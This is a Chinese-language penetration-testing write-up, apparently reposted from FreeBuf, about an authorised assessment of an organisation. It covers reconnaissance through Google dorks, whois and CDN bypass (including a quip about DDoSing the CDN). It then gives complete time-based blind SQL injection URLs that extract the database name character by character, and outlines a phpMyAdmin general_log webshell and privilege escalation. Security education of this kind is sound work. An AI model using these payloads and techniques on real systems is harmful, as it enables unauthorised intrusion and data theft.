一、網絡滲透測試概述

網絡滲透測試完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標系統的安全做深入的探測,發現網絡脆弱環節,能直觀的讓網絡管理員知道自己網絡所面臨的問題。所以滲透測試是安全評估的方法之一。

隨著信息技術的發展,網絡已成為一個新的戰場。美國智庫蘭德公司稱網絡戰為信息時代的核武器,能夠在網絡上引發核爆的網絡戰,從過去的網絡威懾已經開始向實戰邁進。過去美國還掖著藏著,不過近年來特朗普對敵對國家步步緊逼已經開始露出獠牙,委內瑞拉的電網癱瘓就是典型的網絡戰。

中國也是遭受網絡攻擊最多的國家之一,特別是在一些關鍵時期,例如每年兩會期間、G20期間、以及這次新冠病毒疫情期間,我國遭受的網絡攻擊都要比正常事情多的多。

為了提高政府、企事業單位、關鍵基礎設施網絡等的安全性,相關單位會邀請專業安全服務公司(或自行)對其網絡進行滲透測試,發現網絡脆弱環節,并進行相應的整改。

接下來我們就以六方云攻防實驗室受邀對某重點單位的一次滲透測試服務為例,簡單介紹下網絡滲透測試的過程。

二、網絡滲透測試實例

2.1信息搜集

在滲透測試中很多人常常是一上來就開始搞事情,不愿意去對目標網站或服務做過多的信息收集,這可能會導致我們找不到相應的突破點。而這就體出信息收集的意義與重要性,在我自己看來,久攻不下的網站并不是我們能力不夠而是我們信息收集的不夠,所以信息收集在是整個滲透測試中最重要的一步,也是非常有必要去做的一步。

2.1.1域名收集

(1)域名注冊人信息收集,我們可以通過whois,來收集域名持有者的一些信息,比如姓名,電話,郵箱,域名變動等等。

(2)子域名收集,通過在線工具,或kali中的工具不斷的去收集子域名的信息尋找更多的子域名。

2.1.2繞過CND收集真實IP

找旁站、情報威脅中心、超級PING、路由追蹤、跨域、前端js代碼、查找域名歷史IP地址、以及最后的瘋狂上ddos打掉cdn。

當前互聯網給我們帶來方便的同時也為我們造成了大量的信息泄露,而這里我們可以善用搜索引擎語法快速的找到我們想要的信息。

(1)搜索敏感文件

site:xxx.com filetype:doc intext:密碼
site:xxx.com filetype:xlsintext:pass
site:xxx.com filetype:bak
多種組合....

(2)后臺搜索

site:xxx.com管理
site:xxx.com登錄
site:xxx.com inurl:admin
site:xxx.com inurl:login
多種組合...

(3) Email搜索

site:xxx.com inext:@xxx.com
...多種組合

(4)敏感路徑

site:xxx.com inurl:phpinfo.php
site:xxx.com inurl:phpmyadmin
...多種組合

2.1.3服務器操作系統

2.1.4端口開放服務識別

2.1.5收集同站其他服務站點等

2.1.6C段IP

當我們將搜集的ip匯總下后,發現重要ip段基本都在一個c段。

xxx.xxx.22.0/24確認這c段ip有可能就是目標單位的資產ip段。對這個ip段進行端口搜集

(這里端口搜集由于是整個c段、而我搜集的是1-65535目標端口、目標搜集工作量過大比較費時進行了很久、第二天才出結果)

這里跳過不必要的步驟直接對信息搜集端口進行嘗試,確認哪些是可用信息。

猜測xxx.xxx.22.189ip公網ip每個端口單獨映射到內網系統

2.2實戰開始

前期搜集的資產信息越廣,我們的攻擊面就越多,所以后期的成就是建立在前期的信息搜集之上。

2.2.1首先對目標進行測試發現官網存在sql時間盲注

延遲注入,是一種盲注的手法,提交對執行時間敏感的函數sql語句,通過執行時間的長短來判斷是否執行成功,比如:正確的話會導致時間很長,錯誤的話會導致執行時間很短,這就是所謂的高級盲注。

https://xxx.xxx.com/ListInfo/?classid=40&line=A%BF&lineid=if(now()=sysdate()%2Csleep(10)%2C0)&ph=1&station=

在這里用出sqlmap直接開跑發現跑不出來失敗了,范圍太大就精確點手工把數據庫名弄出來在跑表

首先確認數據庫名稱長度

需要把判斷注入點換成if(length(database())=6%2Csleep(10)%2C0),此語法是判斷數據庫名稱長度是否等于6,如果是沉睡10秒,如果不是不沉睡。

https://xxx.xxx.com/ListInfo/?classid=40&line=A%BF&lineid= if(length(database())=6%2Csleep(10)%2C0)&ph=1&station=

長度錯誤如下

得到了數據庫名長度、來猜測對應字段、就需要把if(length(database())=6換成if(ascii(substr(database(),1,1))=100,sleep(5),1)這段的意思是if判斷數據庫名稱的第一位開始后推遲一位用ascii表示是否等于100,如果是就沉睡5秒,如果不是就不沉睡

最后判斷如下:數據庫名稱為dt_web

d

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),1,1))=100,sleep(5),1)&ph=1&station=

t

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),2,1))=116,sleep(5),1)&ph=1&station=

_

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),3,1))=95,sleep(5),1)&ph=1&station=1

w

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),4,1))=119,sleep(5),1)&ph=1&station=

e

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),5,1))=101,sleep(5),1)&ph=1&station=

b

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),6,1))=98,sleep(5),1)&ph=1&station=

手工把數據庫名稱爆出來了,繼續用處sqlmap跑表。

+-------------+        | Parametre |     | TIL_IDIOTON |  | store |        | verkaeufer |        +-------------+

Sqlmap跑出來四張表、按個對每張表進行字段猜解、跑了一段時間、沒出結果。只能手工猜解了、但是猜字段這步驟手工驗證需要花費時間非常多、這個sql注入就到這里結束了。

2.2.2接下來又在上圖找到的xxx.xxx.22.189:10037網站上發現phpmyadmin網站。該網站問題由于開發者不適當的配置,讓我免登錄直接進入phpmyadmin內部。

既然phpMyAdmin成功進入、那么就可以隨意查看數據庫信息、篡改信息、增加信息、刪除信息、脫庫等一些敏感操作。

通過上圖可以看到、用戶密碼處、似乎采用了linux用戶密碼同樣加密的手法。

2.2.3知道了phpmyadmin版本信息,借助phpmyadmin日志getshell

1)將general_log打開

2)將日志文件自定義

問題來了我不知道網站路徑是哪個?只知道是D:\MYOA\目錄如何自定義路徑?

我這邊用到的方法是、把數據庫脫下來、在一條條匹配信息。

確認網站絕對路徑為D:\MYOA\webroot\

已知網站絕對路徑、我們可以直接自定義日志文件。

3)使用sql語句寫入php一句話木馬

4)webshell工具連接

5)提升權限

2.3測試結果

測試發現了多個漏洞,總結如下:

三、總結

沒有網絡安全,就沒有國家安全!并不僅僅只是一句口號,讓我們一起行動起來,為國家網絡安全事業做出自己的貢獻!

*本文作者:6cloud,轉載自FreeBuf.COM